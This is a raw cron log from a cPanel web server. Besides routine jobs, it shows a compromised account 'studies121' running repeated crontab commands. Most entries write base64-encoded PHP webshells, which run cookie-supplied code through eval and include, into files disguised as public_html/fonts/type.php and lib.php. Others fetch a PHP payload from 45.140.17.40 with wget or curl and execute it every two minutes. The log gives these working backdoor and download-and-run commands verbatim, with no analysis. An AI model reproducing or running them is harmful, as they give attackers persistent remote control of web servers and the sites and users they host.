Sep  9 10:13:01 ip-184-168-122-23 CROND[27221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:13:01 ip-184-168-122-23 CROND[27220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:13:01 ip-184-168-122-23 CROND[27226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:13:01 ip-184-168-122-23 CROND[27227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:14:01 ip-184-168-122-23 CROND[27445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:14:01 ip-184-168-122-23 CROND[27448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:14:01 ip-184-168-122-23 CROND[27447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:14:01 ip-184-168-122-23 CROND[27450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:14:01 ip-184-168-122-23 CROND[27449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:15:01 ip-184-168-122-23 CROND[27571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:15:01 ip-184-168-122-23 CROND[27573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:15:01 ip-184-168-122-23 CROND[27574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:15:01 ip-184-168-122-23 CROND[27576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:15:01 ip-184-168-122-23 CROND[27578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:15:01 ip-184-168-122-23 CROND[27577]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 10:15:01 ip-184-168-122-23 CROND[27579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:16:01 ip-184-168-122-23 CROND[27728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:16:01 ip-184-168-122-23 CROND[27730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:16:01 ip-184-168-122-23 CROND[27731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:16:01 ip-184-168-122-23 CROND[27734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:16:01 ip-184-168-122-23 CROND[27732]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:16:01 ip-184-168-122-23 CROND[27736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:17:01 ip-184-168-122-23 CROND[27943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:17:01 ip-184-168-122-23 CROND[27946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:17:01 ip-184-168-122-23 CROND[27947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:17:01 ip-184-168-122-23 CROND[27951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:18:01 ip-184-168-122-23 CROND[28071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:18:01 ip-184-168-122-23 CROND[28073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:18:01 ip-184-168-122-23 CROND[28076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:18:01 ip-184-168-122-23 CROND[28079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:18:01 ip-184-168-122-23 CROND[28077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:19:01 ip-184-168-122-23 CROND[28185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:19:01 ip-184-168-122-23 CROND[28188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:19:01 ip-184-168-122-23 CROND[28190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:19:01 ip-184-168-122-23 CROND[28187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:20:01 ip-184-168-122-23 CROND[28431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:20:01 ip-184-168-122-23 CROND[28432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:20:01 ip-184-168-122-23 CROND[28436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:20:01 ip-184-168-122-23 CROND[28438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:20:01 ip-184-168-122-23 CROND[28440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:20:01 ip-184-168-122-23 CROND[28441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:20:01 ip-184-168-122-23 CROND[28442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:20:01 ip-184-168-122-23 CROND[28448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:20:01 ip-184-168-122-23 CROND[28447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:21:01 ip-184-168-122-23 CROND[28559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:21:01 ip-184-168-122-23 CROND[28561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:21:01 ip-184-168-122-23 CROND[28562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:21:01 ip-184-168-122-23 CROND[28564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:22:01 ip-184-168-122-23 CROND[28686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:22:01 ip-184-168-122-23 CROND[28687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:22:01 ip-184-168-122-23 CROND[28688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:22:01 ip-184-168-122-23 CROND[28692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:22:01 ip-184-168-122-23 CROND[28691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:23:01 ip-184-168-122-23 CROND[28810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:23:01 ip-184-168-122-23 CROND[28812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:23:01 ip-184-168-122-23 CROND[28816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:23:01 ip-184-168-122-23 CROND[28815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:24:01 ip-184-168-122-23 CROND[28984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:24:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:24:01 ip-184-168-122-23 CROND[28986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:24:01 ip-184-168-122-23 CROND[28991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:24:01 ip-184-168-122-23 CROND[28990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:25:01 ip-184-168-122-23 CROND[29134]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 10:25:01 ip-184-168-122-23 CROND[29136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:25:01 ip-184-168-122-23 CROND[29140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
